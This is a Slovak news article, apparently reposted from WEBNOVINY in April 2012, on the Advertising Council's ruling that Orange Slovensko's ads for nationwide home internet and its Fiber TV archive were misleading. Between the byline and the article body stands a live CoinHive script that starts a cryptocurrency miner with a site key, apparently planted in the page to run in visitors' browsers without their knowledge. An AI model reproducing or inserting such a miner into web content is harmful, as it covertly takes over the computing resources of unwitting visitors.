

Orange Slovensko v reklame na internet ľudí zavádzal

Napísal Admin
Streda, 18 Apríl 2012 09:51

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqcRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



BRATISLAVA 18. apríla (WEBNOVINY) - Mobilný operátor Orange Slovensko mal vo svojej reklame na internetové pripojenie zavádzať.

Rozhodla o tom Arbitrážna komisia Rady pre [reklamu](#) (AK RPR) na svojom aprílovom zasadnutí, čím dala za pravdu sťažovateľovi, ktorým bol konkurenčný Slovak Telekom.

Tomu sa nepozdávalo tvrdenie Orangeu v reklame, podľa ktorého je jeho internetové pripojenie dostupné na celom Slovensku.

Navyše zatiaľ čo na banneri operátor hovoril o dostupnosti na celom území, pri prelinkovaní na jeho stránku už informuje, že je dostupný na väčšine územia Slovenska.

Reklama Orangeu podľa AK RPR sprostredkúva informácie nejasným, nezrozumiteľným a viacvýznamovým spôsobom, keďže v priemernom spotrebiteľovi môže vyvolať mylný dojem, že služba internet na doma má pokrytie na celom území Slovenska, bez výnimky, čo však nie je pravda. "Reálne je pokrytie obmedzené a ponuka nie je geograficky dostupná pre každého," konštatuje vo svojom rozhodnutí Rada pre reklamu.

Orange navyše podľa rozhodnutia komisie zavádzal aj v prípade [reklamy](#) na archív svojej služby Fiber TV, keď na internetovej stránke uvádzal, že jedine s jeho službou si môže zákazník archivovať programy sedem dní v týždni. Podľa AK RPR však je takéto tvrdenie klamlivé, keďže vyvoláva dojem, že jediným poskytovateľom služby, ktorá by umožňovala nahrávanie televízneho vysielania sedem dní dozadu je práve Orange.

"Pokiaľ ide o pozitívne nálezy, ako dlhoročný člen Rady pre reklamu a zástanca zavádzania etických štandardov považujeme nálezy RPR vždy za podnetné, nakoľko nám umožňujú zvyšovať naše vlastné interné štandardy, ktoré taktiež sami neustále sprísňujeme," okomentoval rozhodnutie komisie hovorca Orangeu Peter Tóth.